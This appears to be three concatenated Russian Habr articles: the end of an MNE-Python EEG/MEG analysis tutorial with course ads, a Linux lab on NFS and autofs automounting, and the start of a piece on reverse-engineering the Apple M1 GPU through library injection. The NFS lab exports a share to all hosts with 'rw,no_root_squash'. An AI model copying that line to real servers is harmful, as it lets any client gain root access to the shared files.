Люди с опытом больше наверняка знакомы с Jupyter Labs и Anaconda, с которыми и следует работать при использовании MNE. Загрузка Anaconda и последующая установка MNE позволят вам использовать Jupyter Labs на localhost и значительно упростят программирование. При выполнении программы в Jupyter Labs вы можете разбить свой код на блоки, которые можно выполнять независимо друг от друга; это гораздо удобнее подхода типичных IDE.
Однако, как только программа будет готова, вы можете перенести её в IDE по выбору (убедитесь, что установили MNE в виртуальном окружении, если вы используете его) и запустить программу. Когда я переносил программу, то столкнулся с несколькими проблемами, в основном они решались загрузкой и импортом нескольких модулей.
```
import matplotlib
import matplotlib.pyplot as plt
import PyQt5
import pathlib
import mne
import mne_bids
from mne.datasets import sample
import picard
from surfer import Brain
import sobol_seq
import os.path
import os.path as op
from os import path
from mne.forward import read_forward_solution
from mne.minimum_norm import (make_inverse_operator, apply_inverse,
write_inverse_operator)
import nibabel
matplotlib.use('Qt5Agg')
```
Я не был знаком с picard, surfer или sobol\_seq, но они были необходимы для построения некоторых используемых графиков.
Седьмая строка: from mne.datasets import sample, собирает фундаментальный набор данных, используемый для изучения MNE. В этом наборе данных уже есть информация, чтобы любой человек мог начать работать с MNE. К сожалению, некоторые задачи, поставленные перед людьми, которые отдали свои данные для набора, были простыми, но в MNE есть множество встроенных наборов данных⁴.
Модуль mne\_bids⁵ не использовался в моём коде, но это важная часть MNE, которая задействована в большей части кода.
> *Поскольку он очень полезен, я, конечно, решил не использовать его. Это упростит жизнь…*
>
>
Этот модуль совместим со структурой данных визуализации мозга (BIDS)⁶, то есть с типичным способом организации нейрофизиологических данных. В частности, он определяет следующее:
* Форматы файлов.
* Как присваивать имена файлам.
* Где размещать файлы в каталоге.
* Какие дополнительные метаданные следует хранить.
выглядит это так:
```
out_path = pathlib.Path('out_data/sample_BIDS')
bids_path = mne_bids.BIDSPath(subject='01',
session='01',
task='audiovisual',
run='01',
root=out_path)
mne_bids.write_raw_bids(raw, bids_path=bids_path, events_data=events, event_id=event_id, overwrite=True)
```
Папка out\_data уже существует, в ней создаётся sample\_BIDS с необходимой информацией о пациенте. События и event\_id мы определили ранее.
### 2. Импорт необработанных данных
После того как мы импортировали данные нашей выборки, можно импортировать исходную информацию, которая будет необходима для дальнейшего анализа.
```
"""Creating data path"""
sample_data_dir = sample.data_path()
sample_data_dir = pathlib.Path(sample_data_dir)
"""Importing raw data"""
raw_path = sample_data_dir / 'MEG' / 'sample' / 'sample_audvis_raw.fif'
raw = mne.io.read_raw(raw_path)
print(raw.info['bads'])
"""Viewing raw data"""
raw.plot()
raw.plot_sensors(ch_type='eeg')
raw.plot_sensors(ch_type='eeg', kind='3d')
"""Finding events/event ids"""
events = mne.find_events(raw)
event_id = {
'Auditory/Left': 1,
'Auditory/Right': 2,
'Visual/Left': 3,
'Visual/Right': 4,
'Smiley': 5,
'Button': 32
}
total_auditory_events = len(events[events[:,2] == 1]) + len(events[events[:,2] == 2])
total_visual_events = len(events[events[:,2] == 3]) + len(events[events[:,2] == 4])
print(total_auditory_events, total_visual_events)
```
После создания пути данных и навигации по данным мы можем построить их различными способами.
Рисунок необработанных данных с датчиков МЭГРисунок необработанных данных с датчиков ЭЭГ и ЭОГ и каналов стимуловСоздаваемый график интерактивен, это сильно облегчает жизнь. Например, электрод ЭЭГ 053 выглядит как выброс, который я не хочу видеть в составе своих данных. Я могу просто щёлкнуть канал, щелчок пометит его как "плохой". Если вы хотите увеличить масштаб данных, достаточно использовать функциональную клавишу и клавиши со стрелками (по крайней мере на mac).
Я также могу нанести электроды на модель головы. Следует отметить, что изображение, созданное с помощью Jupyter Labs и PyCharm, было другим. PyCharm применялся для создания изображения ниже, но некоторые датчики, кажется, немного смещены.
Ничего страшного, если датчики не находятся непосредственно на голове — это означает, что они могут быть на ушах, шее или где-то ещё, однако это необходимо учитывать при построении графиков.
Рисунок электродов ЭЭГ. Красный электрод — это канал, ранее отмеченный как плохой (ЭЭГ 053)Также можно создать 3D-модель.
Изображение 3D-модели электродов ЭЭГНижняя часть приведённого выше кода была посвящена поиску различных событий на основе каналов стимулов. Событиям, которые были обнаружены MNE, присвоены номера 1, 2, 3, 5 и 32. Эти номера связаны с конкретным стимулом — благодаря документации MNE были найдены и обозначены правильные стимулы. Я использовал эту информацию, чтобы создать график сырых данных с аннотациями при помощи датчиков ЭЭГ.
Рисунок нефильтрованных данных ЭЭГ с помеченными стимулами.Общее количество слуховых событий составило 145, а общее количество зрительных событий — 144.
### 3. Фильтрация необработанных данных и построение спектральной плотности мощности
Прежде чем двигаться дальше, отфильтруем данные, чтобы они выглядели намного чище и их проще было анализировать.
```
"""Applying filters and plotting PSDs"""
raw_eeg = raw.copy().pick_types(meg=False, eog=False, eeg=True)
raw_eeg.plot(events=events, event_id=event_id, title="Unfiltered EEG")
raw_eeg.load_data()
raw_eeg_filtered = raw_eeg.copy().filter(l_freq=0.1, h_freq=40)
raw_eeg_filtered.plot(events=events, event_id=event_id, title="Filtered EEG")
fig, ax = plt.subplots(2)
raw_eeg.plot_psd(ax=ax[0], show=False)
raw_eeg_filtered.plot_psd(ax=ax[1], show=False)
ax[0].set_title('PSD before filtering')
ax[1].set_title('PSD after filtering')
ax[1].set_xlabel('Frequency (Hz)')
fig.set_tight_layout(True)
```
Я использовал фильтр низких и высоких частот с частотами 40 Гц и 0,1 Гц. Частоты ниже 40 Гц и выше 0,1 Гц сохранены, другие — удалены. Используемые частоты будут различаться в зависимости от эксперимента, но эти значения для данного набора — это хорошие значения по умолчанию.
Рисунок отфильтрованных данных ЭЭГ с обозначенными стимуламиПосле получения нефильтрованных и фильтрованных данных я могу построить график спектральной плотности мощности сигнала (далее — PSD), полученного от разных электродов. PSD — это мощность сигнала как функция частоты, по частотам
График PSD, полученный от электродов ЭЭГ до и после фильтрации. Нижний график гораздо чище и анализируется проще, чем верхний### 4. Эпохи и вызванная информация
Как уже упоминалось в предыдущей статье, эпохи — это просто сегментация данных на несколько различных частей. Вызванные объекты — это усреднённые сигналы нескольких эпох ЭЭГ или МЭГ, такая стратегия обычна при оценке вызванной стимулом активности.
```
tmin = -0.250
tmax = 0.8
baseline = (-0.2, 0)
epochs = mne.Epochs(raw_eeg_filtered,
events=events,
event_id=event_id,
tmin=tmin,
tmax=tmax,
baseline=baseline,
preload=True)
print("\nEpochs Info:")
print(epochs)
epochs.save(pathlib.Path('out_data') / 'epochs_epo.fif',
overwrite=True)
epochs['Visual'].plot()
"""Evoked Data Information"""
evoked_auditory = epochs['Auditory'].average()
evoked_visual = epochs['Visual'].average()
evoked_visual.plot(spatial_colors=True)
evoked_visual.plot_topomap(ch_type='eeg')
mne.viz.plot_compare_evokeds([evoked_auditory, evoked_visual], picks='eeg')
mne.write_evokeds(fname=pathlib.Path('out_data') / 'evokeds_ave.fif',
evoked=[evoked_auditory, evoked_visual])
```
Изображение отфильтрованных по эпохе данных ЭЭГ для визуальных стимуловХотя я продолжаю использовать данные ЭЭГ, в этом нет необходимости. Можно также использовать исходные необработанные данные с информацией о МЭГ и разделить данные на эпохи. В дальнейшем их можно очистить с помощью независимого компонентного анализа (ICA). Чтобы использовать исходные необработанные данные, вместо raw\_eeg\_filtered я задействую raw.
Изображение исходных необработанных данных, помещённых в эпохуЯ также могу построить график вызванных данных относительно каждого метода получения данных.
Рисунок различных методов получения информации после разделения на эпохи и усреднения, чтобы найти вызванную информациюТопокарта также может быть создана с использованием вызванных данных для просмотра напряжения на различных участках головы от начала до конца эпохи.
Топокарта напряжения на различных электродах ЭЭГ на коже головыЯ также могу сравнить вызванную информацию связанных с различными стимулами эпох.
Рисунок сравнения слуховой и зрительной вызванной информации### 4. Применение независимого компонентного анализа (ICA)
Как объяснялось в моей предыдущей статье, ICA — это метод, используемый для очистки эпох, не входящий в состав основных методов фильтрации, применяемых к исходным данным. С помощью ICA можно найти и устранить определённые артефакты, включая улавливаемые электродами компоненты ЭОГ и ЭКГ.
```
"""Cleaning Epochs with Independent Component Analysis (ICA) """
if path.exists('out_data/epochs_cleaned.fif') == False:
tmin = epochs.tmin
tmax = epochs.tmax
baseline = (None, 0)
epochs_ica = mne.Epochs(raw,
events=events,
event_id=event_id,
tmin=tmin,
tmax=tmax,
baseline=baseline,
preload=True)
print("\nEpochs ICA Info: ")
print(epochs_ica)
n_components = 0.8 # Should normally be higher, like 0.999!!
method = 'picard'
max_iter = 100 # Should normally be higher, like 500 or even 1000!!
fit_params = dict(fastica_it=5)
random_state = 42
ica = mne.preprocessing.ICA(n_components=n_components,method=method,max_iter=max_iter,fit_params=fit_params,random_state=random_state)
ica.fit(epochs_ica)
ica.plot_components(inst=epochs)
ecg_epochs = mne.preprocessing.create_ecg_epochs(raw, reject=None,
baseline=(None, -0.2),
tmin=-0.5, tmax=0.5)
ecg_evoked = ecg_epochs.average()
ecg_inds, ecg_scores = ica.find_bads_ecg(
ecg_epochs, method='ctps')
eog_epochs = mne.preprocessing.create_eog_epochs(raw, reject=None,
baseline=(None, -0.2),
tmin=-0.5, tmax=0.5)
eog_evoked = eog_epochs.average()
eog_inds, eog_scores = ica.find_bads_eog(
eog_epochs)
components_to_exclude = ecg_inds + eog_inds
ica.exclude = components_to_exclude
ica.plot_scores(ecg_scores)
ica.plot_sources(ecg_evoked)
ica.plot_overlay(ecg_evoked)
# Running ICA on previous data saved
epochs_cleaned = ica.apply(epochs.copy())
epochs_cleaned.plot(title="After ICA")
epochs.plot(title="Before ICA")
epochs_cleaned.save(pathlib.Path('out_data') / 'epochs_cleaned.fif',
overwrite=True)
epochs_visual = epochs_cleaned["Visual"]
```
Оператор if нужен только для того, чтобы эта часть кода не запускалась каждый раз в IDE. Это излишне в Jupyter Labs, но удобно после того, как очищенные эпохи уже сохранены: значительно сокращается время выполнения.
Изображение нескольких различных компонентов ICAПосле применения ICA мы можем просмотреть эпохи до и после.
Изображение за несколько эпох до ICAИзображение эпох после ICAМы также можем просмотреть оценки компонентов ICA. Это позволяет определить, какие компоненты с наибольшей вероятностью связаны с различными артефактами.
Изображение оценок компонентов ICAОдним из компонентов, который показал высокую вероятность связи с артефактом, был компонент 001, его можно проанализировать.
Изображение ICA001Мы также можем просмотреть эпохи до и после очистки другим способом, то есть просмотреть сигнал для каждого метода сбора до и после применения ICA.
Изображение методов получения сигнала до и после применения ICA### 5. Временно-частотный анализ
Временно-частотный анализ также возможно сделать через MNE, но я использую эту функцию не так часто. Однако особенно интересная часть этого этапа для меня — просмотр наличия различных мозговых волн на разных частях черепа. На основе найденной частоты можно определить различные мозговые волны.
код
Изображение трех различных типов мозговых волн после применения ICA### 6. Визуализация данных сканов МРТ и датчиков ЭЭГ
Один из самых интересных моментов в MNE заключается в том, что источник сигнала можно отследить, выполнив несколько шагов. Эти шаги включают следующее:
* Энергетический метаболизм мозга.
* Трансинформация.
* Расчёт прямого решения.
* [Обратный оператор](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D1%8B%D0%B9_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80)
Изображение из MNE на различных этапах оценки источниковПриведённый ниже код иллюстрирует некоторые шаги, которые необходимы MNE для запуска протокола локализации источника. Опять же пример данных содержит всё необходимое для выполнения этих шагов при условии, что вы перейдёте в нужную директорию. Многие переменные, которые я использовал, можно заменить. Например, последняя переменная, brain, имеет поверхность pilal, но изображение, как в начале этой статьи, может быть сгенерировано, если установить поверхность inflated.
```
data_path = sample.data_path()
# the raw file containing the channel location + types
raw_fname = data_path + '/MEG/sample/sample_audvis_raw.fif'
# The paths to Freesurfer reconstructions
subjects_dir = data_path + '/subjects'
subject = 'sample'
subjects_dir = pathlib.Path(mne.datasets.sample.data_path()) / 'subjects'
mne.viz.plot_bem(subject='sample', subjects_dir=subjects_dir,
orientation='coronal')
# The transformation file obtained by coregistration
trans = data_path + '/MEG/sample/sample_audvis_raw-trans.fif'
epochs_fname = pathlib.Path('out_data') / 'epochs_cleaned.fif'
info = mne.io.read_info(epochs_fname)
fig = mne.viz.plot_alignment(info=info,
trans=trans,
subject='sample',
dig=True,
subjects_dir=subjects_dir,
verbose=True)
subject = 'sample'
src = mne.setup_source_space(subject=subject,
spacing='oct4', # Use oct6 during an actual analysis!
subjects_dir=subjects_dir,
add_dist=False) # Remove this one during an actual analysis!
mne.viz.plot_alignment(info=info, trans=trans, subject=subject,
src=src, subjects_dir=subjects_dir, dig=True,
surfaces=['head-dense', 'white'], coord_frame='meg')
conductivity = (0.3,) # for single layer – used in MEG
# conductivity = (0.3, 0.006, 0.3) # for three layers – used in EEG
model = mne.make_bem_model(subject=subject, ico=4,
conductivity=conductivity,
subjects_dir=subjects_dir)
bem_sol = mne.make_bem_solution(model)
mne.bem.write_bem_solution('sample_bem.fif', bem_sol, overwrite=True)
fwd = mne.make_forward_solution(info,
trans=trans,
src=src,
bem=bem_sol,
meg=True, # include MEG channels
eeg=False, # exclude EEG channels
mindist=5.0, # ignore sources <= 5mm from inner skull
n_jobs=1) # number of jobs to run in parallel
mne.write_forward_solution('sample_fwd.fif', fwd, overwrite=True)
noise_cov = mne.compute_covariance(epochs, tmax=0.,
method=['shrunk', 'empirical'],
rank='info')
mne.viz.plot_cov(noise_cov, info=info)
epochs.average().plot_white(noise_cov)
inverse_operator = make_inverse_operator(info, fwd, noise_cov,
loose=0.2, depth=0.8)
method = "dSPM"
snr = 3.0
lambda2 = 1.0 / snr ** 2
stc = apply_inverse(epochs['Visual/Right'].average(),
inverse_operator,
lambda2,
method=method,
pick_ori=None)
brain = stc.plot(surface='pial',
hemi='both',
subjects_dir=subjects_dir,
time_viewer=True)
# Finished
```
Снимки МРТ испытуемыхИзображение макета пациента с датчиками ЭЭГ и шлемом МЭГИзображение сгенерированной исходной локализации с использованием образца данныхЛокализация источника правосторонней визуальной информации дала изображение, показывающее активность в левой затылочной доле и некоторую временную информацию. Также наблюдается некоторая подкорковая активность вблизи таламуса (который передаёт сенсорную информацию.)
Заключение
----------
Ссылки[[1]](https://medium.com/geekculture/an-introduction-to-brain-computer-interfaces-3c2b39873c5e) Gulamhusein A. An introduction to brain-computer interfaces [Internet]. Medium. Geek Culture; 2021 [cited 2021Aug1].
[[2]](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3872725/) Gramfort A, Luessi M, Larson E, Engemann DA, Strohmeier D, Brodbeck C, et al. MEG and EEG data analysis with MNE-Python [Internet]. Frontiers in neuroscience. Frontiers Media S.A.; 2013 [cited 2021Aug1].
[[3]](https://mne.tools/stable/index.html) Python homepage¶ [Internet]. MNE. [cited 2021Aug1].
[[4]](https://mne.tools/dev/overview/datasets_index.html) Datasets overview¶ [Internet]. Datasets Overview — MNE 0.24.dev0 documentation. [cited 2021Aug1].
[[5]](https://joss.theoj.org/papers/10.21105/joss.01896) Appelhoff S, Sanderson M, Brooks TL, Vliet Mvan, Quentin R, Holdgraf C, et al. MNE-BIDS: Organizing ELECTROPHYSIOLOGICAL data into the Bids format and facilitating their analysis [Internet]. Journal of Open Source Software. 2019 [cited 2021Aug1].
[[6]](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6592874/) Holdgraf C, Appelhoff S, Bickel S, Bouchard K, D’Ambrosio S, David O, et al. iEEG-BIDS, extending the brain imaging data Structure specification to human Intracranial electrophysiology [Internet]. Scientific data. Nature Publishing Group UK; 2019 [cited 2021Aug1].
MNE-Python — это невероятный инструмент, но он — только один представитель мира интерфейсов между мозгом и компьютером. Эта статья не учебник, она даёт обзор возможностей MNE и некоторых протоколов, которые можно легко просмотреть при помощи небольшого количества данных. Изучение мозга — также только одно приложение науки о данных из огромного количества возможных приложений. Если вы хотите стать специалистом в области, которая сегодня находит применение почти везде, приходите на наши [курсы по Machine Learning](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=080821), флагманский [курс по Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=080821) или курс по [аналитике данных](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=080821). Также вы можете [узнать](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=080821), как начать карьеру или выйти на новый уровень в других направлениях:
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=080821)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=080821)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=080821)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=080821)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=080821)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=080821)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=080821)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=080821)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=080821)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=080821)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=080821)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=080821)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=080821)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=080821)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=080821)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CDEV&utm_term=regular&utm_content=080821)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=080821)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=080821)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=080821)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=080821)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=080821) | https://habr.com/ru/post/570586/ | null | ru | null |
# Настраиваем automount в Linux
##### Автор статьи: Рустем Галиев
IBM Senior DevOps engineer & Integration Architect
Привет Хабр! На связи Рустем.
Сегодня мы поговорим про такую практику в Linux, как automount
Мы настроим сервер NFS для предоставления некоторых общих ресурсов и настроим автоматическое монтирование для автоматического доступа к этим общим ресурсам при необходимости.
В этой лабораторной задаче мы будем практиковаться в том, как:
* Как настроить сервер NFS для предоставления простого общего ресурса
* Как проверить доступ к серверу NFS
* Как установить, настроить и запустить службу autofs
* Как проверить автомонтируемые каталоги
### Устанавливаем и настраиваем NFS сервер
Использование автоматического монтирования имеет смысл в сочетании с удаленными общими ресурсами NFS. Вы часто будете видеть это, чтобы предоставить доступ к домашним каталогам пользователей на основе NFS. Это позволяет нам размещать домашние каталоги на одном центральном сервере и предоставлять пользователям доступ к этим домашним каталогам при входе на любой компьютер. Чтобы создать такую среду, сначала необходимо установить и настроить сервер NFS.
Для начала мы используем *dnf install -y nfs-utils* для установки сервера NFS и связанных с ним утилит.
В NFS нам нужно чем-то поделиться. Давайте создадим фиктивную структуру домашнего каталога пользователя, которую затем можно будет расшарить:
`mkdir -p /users/nfs/{lisa,linda,anna}`
Далее нам нужно сообщить NFS, чтобы она предоставила общий доступ к каталогу, содержащему домашние каталоги этих пользователей. Для этого нужен файл /etc/exports, который содержит имя каталога для общего доступа, включая некоторые права доступа:
`echo "/users *(rw,no_root_squash)" > /etc/exports`
### Включаем и проверяем NFS сервер
На данный момент мы создали базовую конфигурацию NFS. Давайте запустим и включим сервер NFS и проверим:
`systemctl enable --now nfs-server`
Команда showmount предоставляет простой способ проверки доступа к серверу NFS. В данном случае это очень просто, так как сервер NFS даже не работает удаленно. Вот почему нам также не нужно настраивать какой-либо брандмауэр. Мы используем следующую команду для проверки доступности общих ресурсов NFS:
`showmount -e localhost`
Мы увидим, что каталог /users экспортирован, а это значит, что пора заняться настройкой автомонтирования.
### Устанавливаем пакет autofs
Чтобы использовать automount, нам нужно установить службу autofs. Начнем с этого: `dnf install -y autofs`
Поскольку у autofs еще нет никакой конфигурации, нет особого смысла запускать ее сейчас, поэтому давайте перейдем к следующему шагу и создадим конфигурацию.
### Создаем конфигурацию автомонтирования
Конфигурация автомонтирования хранится в двух файлах. Файл /etc/auto.master используется для определения каталога, которым будет управлять автомонтирование, а также файла, используемого для дальнейшей настройки. Хорошим примером является каталог /misc. Мы используем следующую команду, чтобы увидеть, как выглядит эта строка по умолчанию:`grep '^/misc' /etc/auto.master`
В этом сценарии мы имитируем автоматическое монтирование домашних каталогов пользователей, предоставляемых NFS. Для этого мы запускаем следующую команду, чтобы добавить строку в файл auto.master:
`echo "/home/nfs /etc/auto.nfs" >> /etc/auto.master`
Если нам когда-нибудь понадобится пример автомонтируемого каталога, взгляните на содержимое /etc/auto.misc. Он покажет нам имена подкаталогов, которые мы собираемся монтировать в основной каталог, а также откуда эти каталоги можно получить. Строка, которая монтирует FTP-сервер Linux (который на самом деле является сервером NFS), очень полезна:`grep -i linux /etc/auto.misc`
На основе этого примера мы можем добавить монтирование для домашних каталогов NFS. Однако есть одна вещь, которую нам нужно сделать по-другому. Нам нужны подстановочные знаки для ссылки на любой каталог, а для ссылки на соответствующую часть на сервере NFS нам нужен амперсанд. Поэтому для создания конфигурации автомонтирования мы используем
`echo "* -rw localhost:/users/nfs/&" > /etc/auto.nfs`
На этом настройка завершена, поэтому пришло время запустить и включить службу autofs: `systemctl enable --now autofs`
### Проверяем монтирования
В этот момент все должно работать. Во-первых, давайте посмотрим, как это выглядит. Используйте следующую команду, чтобы проверить содержимое (включая скрытые файлы) каталога `/home/nfs`. Глядя на результат, обратите внимание, что мы никогда не создавали этот каталог. Нам и не нужно было его создавать,, потому что autofs сделал это за нас:
`ls -al /home/nfs`
На предыдущем шаге мы видели, что каталог /home/nfs не содержит подкаталогов. Это ожидаемо, потому что autofs станет активным только тогда, когда будет осуществлен доступ к одному из подкаталогов. Для домашнего каталога это произойдет автоматически при входе пользователя в систему. Сделаем следующее, чтобы имитировать это: *cd /home/nfs/linda*
Введем pwd, чтобы убедиться, что мы действительно находимся в каталоге /home/nfs/linda, который теперь автоматически смонтирован для нас.
Чтобы понять немного больше обо всем, что происходит в фоновом режиме, мы используем `mount | tail -5` где мы увидим монтирования, созданные autofs.
Все довольно просто!
В заключение приглашаю всех на [бесплатный урок специализации Linux](https://otus.pw/qj3y/), где разберем основные моменты использования LVM для организации дисковой системы в Linux.
* [Зарегистрироваться на бесплатный урок](https://otus.pw/qj3y/) | https://habr.com/ru/post/706706/ | null | ru | null |
# Реверс-инжиниринг GPU Apple M1
Новая линейка компьютеров Apple Mac содержит в себе разработанную самой компанией SOC (систему на чипе) под названием M1, имеющую специализированный GPU. Это создаёт проблему для тех, кто участвует в проекте [Asahi Linux](https://asahilinux.org) и хочет запускать на своих машинах Linux: у собственного GPU Apple нет ни открытой документации, ни драйверов в open source. Кто-то предполагает, что он может быть потомком GPU PowerVR, которые использовались в старых iPhone, другие думают, что GPU полностью создан с нуля. Но слухи и домыслы неинтересны, если мы можем сами заглянуть за кулисы!
Несколько недель назад я купила Mac Mini с GPU M1, чтобы изучить набор инструкций и поток команд, а также разобраться в архитектуре GPU на том уровне, который ранее не был публично доступен. В конечном итоге я хотела ускорить разработку драйвера Mesa для этого оборудования. Сегодня я достигла своего первого важного этапа: теперь я достаточно понимаю набор команд, чтобы можно было дизассемблировать простые шейдеры при помощи свободного и open-source тулчейна, [выложенного на GitHub](https://github.com/AsahiLinux/gpu).
Процесс декодирования набора команд и потока команд GPU аналогичен тому процессу, который я использовала для реверс-инжиниринга GPU Mali в проекте Panfrost, изначально организованном проектами свободных драйверов Lima, Freedreno и Nouveau. Обычно для реверс-инжиниринга драйвера под Linux или Android пишется небольшая библиотека-обёртка, инъектируемая в тестовое приложение при помощи `LD_PRELOAD`, подключающей важные системные вызовы типа `ioctl` и `mmap` для анализа взаимодействия пользователя и ядра. После вызова «передать буфер команд» библиотека может выполнить дамп всей общей памяти (расширенной) для её анализа.
В целом тот же процесс подходит и для M1, но в нём есть особенности macOS, которые нужно учитывать. Во-первых, в macOS нет `LD_PRELOAD`; её аналогом является `DYLD_INSERT_LIBRARIES`, имеющая дополнительные функции защиты, которые для выполнения нашей задачи можно достаточно легко отключить. Во-вторых, хотя в macOS существуют стандартные системные вызовы Linux/BSD, они не используются для графических драйверов. Вместо них для драйверов ядра и пространства пользователя используется собственный фреймворк Apple `IOKit`, критической точкой входа которого является `IOConnectCallMethod` (аналог `ioctl`). Такие различия достаточно просто устранить, но они добавляют слой дистанцирования от стандартного инструментария Linux.
Более серьёзной проблемой является ориентирование в мире IOKit. Так как Linux имеет лицензию copyleft, (законные) драйверы ядра выложены в open source, то есть интерфейс `ioctl` открыт, хотя и зависит от производителя. Ядро macOS (XNU) имеет либеральную лицензию, не обладающую такими обязательствами; интерфейс ядра в нём проприетарен и не задокументирован. Даже после обёртывания `IOConnectCallMethod` пришлось попотеть, чтобы найти три важных вызова: выделение памяти, создание буфера команд и передача буфера команд. Обёртывание вызовов выделения памяти и создания буфера необходимы для отслеживаемой видимой GPU памяти (а именно это мне было интересно исследовать), а обёртывание вызова передачи необходимо для подбора времени дампа памяти.
Преодолев эти препятствия, мы можем наконец перейти к двоичным файлам шейдеров, которые сами по себе являются «чёрными ящиками». Однако далее процесс становится стандартным: начинаем с самого простого фрагментного или вычислительного шейдера, вносим небольшое изменение во входящий исходный код и сравниваем получившиеся двоичные файлы. Многократное повторение этого процесса — скучное занятие, но позволяет быстро выявить основные структуры, в том числе и опкоды.
Открытия, сделанные в задокументированном процессе изучения при помощи свободного дизассемблера ПО, подтверждают наличие у GPU следующих особенностей:
Во-первых, архитектура скалярна. В отличие от некоторых GPU, которые являются скалярными для 32 бит, но векторизованными для 16 бит, GPU процессора M1 скалярен при всех битовых размерах. Хотя на ресурсах по оптимизации Metal написано, что 16-битная арифметика должна быть значительно быстрее, кроме снижения использования регистров она ведёт к повышению количества потоков (занятости процессора). Исходя из этого, можно предположить, что оборудование является суперскалярным и в нём больше 16-битных, чем 32-битных АЛУ, что позволяет получать большее преимущество от графических шейдеров низкой точности, чем у чипов конкурентов, одновременно значительно снижая сложность работы компилятора.
Во-вторых, архитектура, похоже, выполняет планирование аппаратно — это часто встречается среди десктопных GPU, но менее распространено во встроенных системах. Это тоже упрощает компилятор ценой большего количества оборудования. Похоже, команды минимально тратят лишние ресурсы при кодировании, в отличие от других архитектур, вынужденных перегружать команды *nop* для того, чтобы уместиться в сильно ограниченные наборы инструкций.
В-третьих, поддерживаются различные модификаторы. АЛУ с плавающей запятой могут выполнять модификаторы clamp (насыщенность), операций НЕ и абсолютных значений «бесплатно», без лишних затрат — распространённая особенность архитектуры шейдеров. Кроме того, большинство (или все?) команды позволяют «бесплатно» выполнять преобразование типов между 16-битными и 32-битными значениями и для адресата, и для источника, что позволяет компилятору более агрессивно использовать 16-битные операции, не рискуя тратить ресурсы на преобразования. Что касается целочисленных значений, то для некоторых команд есть различные «бесплатные» побитовые отрицания и сдвиги. Всё это не уникально для оборудования Apple, но заслуживает упоминания.
Наконец, не все команды АЛУ имеют одинаковые тайминги. Команды типа `imad` (используется для перемножения двух целых чисел и прибавления третьего) по возможности избегаются и вместо них используются многократные команды целочисленного сложения `iadd`. Это тоже позволяет предположить наличие суперскалярной архитектуры; оборудование с программным планированием, с которым я взаимодействую на своей повседневной работе, не может использовать различия в длине конвейеров, непреднамеренно замедляя простые команды для соответствия скорости сложных.
